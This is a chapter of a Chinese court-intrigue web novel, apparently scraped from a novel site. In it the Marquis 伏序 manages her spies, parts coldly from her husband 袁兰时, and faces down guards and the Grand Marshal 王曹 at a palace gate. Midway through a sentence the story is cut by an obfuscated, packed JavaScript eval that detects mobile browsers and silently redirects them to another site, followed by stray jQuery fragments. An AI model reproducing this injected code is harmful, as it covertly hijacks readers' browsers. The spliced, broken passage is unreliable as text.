3. 洛阳夜雪(三)

作品:《飞鹰

    午后风雪渐小,袁兰时独自撑伞往书房去。


    数位身披甲胄的郎官自书房的长廊来,见到他或点头或行礼,不论看没看见他的回应,一概目不斜视地继续走自己的路。袁兰时白衣居闲,侧身避礼,眼神挡在伞下,却没有错过这些郎官的面孔。


    何止郎官,即便南军北军的将领都有。


    安逸侯府空旷清寂,袁兰时再没遇见第二个仆从郎官,走时只能数着栏杆聊慰寂寞。书房的长廊在前,他先是看见了一名与轮值时辰对不上的守卫,随后,心绪立刻被长廊所包围的庭院中的人给吸引。


    他的妻子静静站在风雪下,雪落满肩也恍若不觉,仿佛一只归巢的倦鹰,借着风雪的冷意在放肆呼吸。


    袁兰时想起不久前长嫂办的初雪家宴,不吝啬用千金炭火熏花做酒,满席如春,锦绣花丛后引了一湾温泉,长辈亲朋无不夸赞。伏序陪自己回府,却只坐了两刻钟,便借口公务在身,匆匆离去。


    他的耳朵被冷雪冻得生疼,站在廊前失神。


    伏序在袁兰时拐来长廊时就看见人了。


    等袁兰时慢慢走近,她又等了一会儿,袁兰时却只是看着,迟迟不开口。伏序不自觉皱了皱眉,侧过半个身体:“郎君有什么事?”问完,她解下腰间的弯刀,就着薄薄的雪拎起披风的一角擦拭起来。


    守卫佩刀廊前,袁兰时望着自己与长廊一步之隔的石阶,没有逾矩,撑伞站在原地:“君侯可否允我去袁府一趟?”


    弯刀上宝石的光泽闪烁进他眼底,血红透亮,与此刻烧人眼的雪色一齐,把他眸中的晦暗架了起来。他转了转手上的青玉指环,突然又在伏序开口前道:“叔父传信,从前的门生来访。君侯愿与我成婚,救我河东袁氏于水火,这些门生亦大多免于获罪,敬仰君侯,君侯是否同我一起回府?”


    伏序专注地看着弯刀,一个眼风也没多给。


    她轻飘飘道:“这样,郎君自便就是,我自有安排。”


    袁兰时摸着青玉指环上的云纹,反转一圈,应“是”过后,见伏序没有抬头的意思,就打算告退。刚转过身,他攥紧了伞,脚步没抬,就回头歉意开口:“我兴许要晚归,君侯可否予我今日的门符?”他握伞指骨几乎发白,眸光灼然,说不清期盼。


    然而,伏序还是那种轻飘飘的语气:“何必这样麻烦?我遣人去接郎君。”


    袁兰时胸中的气陡然摔成一团,勉强一笑:“是,君侯事务繁忙,不必为我奔忙。”


    他又转身,三步之后,还是回头,嘱咐道:“君侯还是要保重身体,别在雪中站太久。”


    伏序没有回应。


    袁兰时望着她,冷风冷雪呛进胸中,强压着喉咙的痒意,数步之后再次回头,见伏序还在庭院里端详着那把天子赏赐的珍宝,终于没有犹豫地离开了。影廊之后,将袁兰时一举一动尽收眼底的赦铃从暗处走出来,细长的眼皮挑着,深深的心机流淌过,最后归于不屑。


    他几步穿过长廊,走到伏序身边,低声禀报:“君侯,青雀已经见过了尤校尉。”


    赦铃/口中的“尤校尉”,正是已病休月余的城门校尉尤庭春。


    伏序点头:“鹊鸟把这位尤校尉的底都抄干净了吗?”她身上的披风并不算厚,擦刀时雪水一透,已然晕开了一片深色,于是干脆解下披风。


    赦铃先是长长一笑:“清正廉洁,无底可抄。”


    尤庭春出身将门,祖辈世代功勋。先帝时,其父被提拔为执金吾,后因擅自杀了无通行令夜行的赵氏子弟,先帝怜惜赵皇后悲痛,将其黜落朔方,最后因病死于途中。未几年,尤庭春的母亲便再嫁。他是尤公独子,被留在了尤家,由叔父带大。尤氏家风严谨,子侄无有恶行。


    赦铃接下伏序递来的披风:“不过,尤校尉有位外兄弟任军市令,去岁购粮草棉衣时以次充好,恰好被尤校尉手下的人发现,他架不住老母哭求,自己垫上了银钱重新采购。人证与账簿俱在,只待君侯吩咐。”


    风雪不见停,伏序将弯刀贴着手臂收紧袖中,眼睛看着远在南宫的却非殿飞檐:“青雀怎么说的?”


    赦铃双唇一弯:“她说,数年不曾再会尤校尉。当年尤校尉意气风发、鲁直向前,如今沉如江水,别有韵味,比年少时还要动人。”去赴约时好像要见宿敌,一去一回,尤庭春鬓边的花都多出三株了。


    伏序一吐气。


    赦铃上完眼药继续道:“她还说,这样的郎君往后只能看不能动,甚是可惜,要我向君侯告假,今夜去城西的郎君那儿快活抚慰一番。”


    伏序单手扣住袖中的弯刀刀柄,揉了揉自己胀痛的额角:“好,我知道了。三日内,让这位尤校尉来见我。至于青雀——和少内说,这个月多给她支些钱帛,别城东城西地给我招惹人上门讨债。”


    赦铃轻松一笑:“是。”


    他正欲告退,一名独臂老仆突然疾步出现在影廊之上求见。


    伏序双肩立起,她一点头,赦铃便让守卫放行。


    独臂老仆气喘吁吁,行完礼,不等伏序叫起,急忙道:“宫中鹊鸟来信,府中往宫里传信的‘暗巷’和通行的‘老路’被查了。”


    伏序的拇指抵在弯刀刀柄上:“说清楚。”


    “是全面盘查,卫尉自称奉陛下的令,整肃宫禁。得到消息的鹊鸟先传信出来,恐往后无法传信,是否被查获还不得而知。”


    伏序沉吟片刻:“除了我们的鹊鸟,赵家埋在宫里的暗桩是否也被查了?”


    独臂老仆一怔,胸膛的呼吸不再沸腾:“这……是,连王家都有人报信、只卫尉的人没有动。”


    赦铃皱眉犹豫,“只怕其中有诈,君侯今夜是否请见入宫?属下是否跟随?”


    “不必,你就从‘老路’入宫见陛下。”


    伏序眉头一松:“王曹今日入宫了?”


    “是,至今没出。”


    “你与我同时行动,见机行事。”她意味深长地一笑,赦铃心领神会。


    伏序安排完事宜,就让赦铃退下。她又在庭院中站至申时,始终面向洛阳中最巍峨的宫殿所在。臂侧弯刀通人情,稳稳地从肌肤熨至她心间。申时二刻,侯府中有铃响了一声,伏序便入书房更衣。


    出府后,她乘的车架一路至南宫平城门,照例出示光禄勋印信,不出意外又被拦了下来。


    伏序眼睑一压,看得卫士不敢抬头。


    平城门下威严开阔,大司马的车架横在城门之前,驭马的仆从见她如见无物,反而扯着马鬃使马甩尾。即将闭宫,换防的卫士来来去去,公车司马更是领着一队人,端上出入簿,硬着头皮在此处绕来绕去的问话。


    伏序一一忍过,直至公车司马无话可问。


    风雪随着天色又骤大,公车司马两鬓硬生生问出止不住的汗。


    他端着出入簿不敢落笔,只好将视线投向南屯司马,一言不敢再发。南屯司马面对伏序的目光也顺势低头:“君侯恕罪,卫尉岑公有令,凡入宫者,除了印信,如今还需尚书台当日批下的牒文。”


    伏序逼近他一步,紧紧盯着他:“本官入宫巡察郎署,乃职责所在,何需尚书台允准?岑公又如何?他敢逾天子行事!”


    南屯司马手上的长戟敲在甲胄上轻抖了一声,退后一步,头仍不抬:“下官听命办事,君侯若没有牒文,下官这就着人去请岑公示下。”


    伏序的目光一错不错,再次逼近一步。


    她身后白茫的落雪随她动作扑面压来,南屯司马余光瞥见,喉咙一阵窒息发紧,只好又退一步,他身后的公车司马与卫士无法,对着即将贴到脸上的上官,齐齐低头跟着退了一步。伏序环视这些人,话却对着南屯司马说:“你听命卫尉,本官听命天子,不若请天子与岑公一同示下,看看究竟是天子的话有份量,还是岑公的话有份量?”


    一片哗啦啦的甲胄声落下。南屯司马连长戟都置于地,连称不敢。站在最后的卫士不明所以,纷纷跪下后面面相觑。城门前银鳞在光暗一线下凌乱地闪动,大司马车架的马儿焦躁地啼了两声挣脱马夫的钳制后退几步,马夫四处张望,被一扫而过的伏序腰间的弯刀晃了眼。


    这瞬间,他莫名冷汗浸了满背,下了车佝偻着腰躲在马后。


    公车司马跪伏于地,盯着面前的出入簿快要晕厥。伏序弯刀下温和的弧度逼视而来,像是一束利落的刀锋,好像几个月前斩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904739|192382||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    落北宫卫士首级的刀即将落到他们头上。他费劲地攀手向前抓,将这一掌贴过的落雪全捂化了,想让南屯司马先退一步。


    而南屯司马却一步不肯让:“下官绝无此意,只是岑公有令,君侯要请示陛下,下官也可派人去请示。届时,陛下要问罪下官,下官亦甘愿!”


    伏序发笑:“好!好一个尽忠职守的王、司马!”


    南屯司马始终没抬头:“下官王秀林,有愧君侯称赞。”


    伏序居高临下地看着这些卫士:“那你就去请天子与卫尉的令,本官就在这儿等!”


    王秀林尚没起身,宫门后,一老者便龙行虎步地走进了,他白须遮襟,与伏序隔着一片跪着的卫士,笑声爽朗:“老夫道是谁,原来是伏侯。伏侯好大的官威啊,今日朝会伏侯一言不发,老夫还以为伏侯诸事妥帖,再无忧愁烦扰。”


    伏序唇朝下抿,眸光如鹰:“本侯是天子之臣,岂敢如王公般,将忧愁烦扰作国家事?”


    “天子仁厚,称老夫一声‘舅公’,老夫虽不敢受,也总该为君分忧。”大司马王曹双手背于身后,下巴总抬得比常人要高,他一扫眼前卫士的姿态,语气悠闲,“伏侯若要训话,老夫先行一步?”


    伏序轻轻笑了一声,握着弯刀,将刀柄往王秀林肩上一压。


    “王司马,本侯训了什么话?”


    王秀林左肩微颤:“君侯所问公事是职权之内,下官即刻着人去请示天子。”


    伏序撤开弯刀,他便撑膝慢慢站起来,公车司马与卫士们也起身退至两侧。王秀林正要派卫士入宫中,却被王曹抬手制止,他与伏序的眼眸没错开过,缓缓走到伏序面前。


    这位三年前回到洛阳、一跃成为天子近臣的安邑侯身量极高,别说寻常男子,就是军士也泰半压不住。王曹精神矍铄,可毕竟年老,肩背不免弯曲,越是高抬下巴,越显得他仰视于眼前这位鹰犬。


    他面颊上的笑微微收敛,放下下巴,佯作无视伏序:“伏侯何必为难他们?想来是为了要请见入宫?陛下与卫尉定下此事时老夫亦在场,这些人奉命办事,伏侯如此威严,难道还怀疑他们会假传天子之言?”


    伏序:“诏书口谕皆未见,本侯多问一句,也算为难吗?”


    王曹眸光泛寒,风雪阻隔了他与伏序你死我活的对视,他颧骨上的肉抽动一下,眼神明目张胆地朝下压:“事、急、从、权!伏侯数月前问罪北宫一干人,不也是这么说的?怎么,难不成只有出自伏侯之口,才顺理成章?”


    他的笑意不复:“分明工匠修缮不利才致复道坠物惊驾,伏侯请陛下黜落北宫卫士令还不够,北宫里里外外人头落地的有多少?同样是天子安危为先,怎么现在伏侯却调转口风?”


    风雪轰然坠下,卫士甲胄冰冷,只顾对抗天公的怒意,也不敢注意伏序与王曹的交锋。


    伏序耳边只剩风声雪落,便主动朝王曹走了几步,顷刻覆雪的城门前被她踩出一串深而整齐的脚印,最后一线光下,王曹清楚地捕捉到了伏序眼里的杀意,他阅人无数的心底升起一种面对猛禽时的惊惧,瞬间咬紧了牙关。


    他看着伏序靠近,方才背于身后的双手下意识地握起拳。


    伏序好像被天地间的风雪淘下了此前毕露的怒意,语气不紧不慢:“王公,几条北宫里的狗而已,何必动气呀?我说了,我心向天子,别无二心,既然太皇太后疼爱天子,在北宫中又有什么好夜不能寐的呢?”


    她的话飘在风中,王曹要一字一句细细捉来,在腹中咀嚼完整,白须止不住地抖。


    “伏侯慎言,北宫中皆是天子股肱,哪来的狗?倘若此前伏侯一片丹心俱是做戏,那只当老夫今日多话。”他深吸一口气,风雪入肺,话也寒凉,视线再次将伏序从上到下一扫到底,“伏侯勇武,单衣甲胄不惧风雪压身,却何必强求他人?”


    他眼睛一抬,再次与伏序对视:“从——荆州,到洛阳,有多少人如伏侯无畏?擅迎风雪者,终一日死于风雪下。”


    伏序手上的弯刀已逼出一线寒刃,她与王曹的对视灼穿一臂之间的大雪,心照不宣的威胁融在寒风中,她侧头一笑。


    “迫、不、及、待。”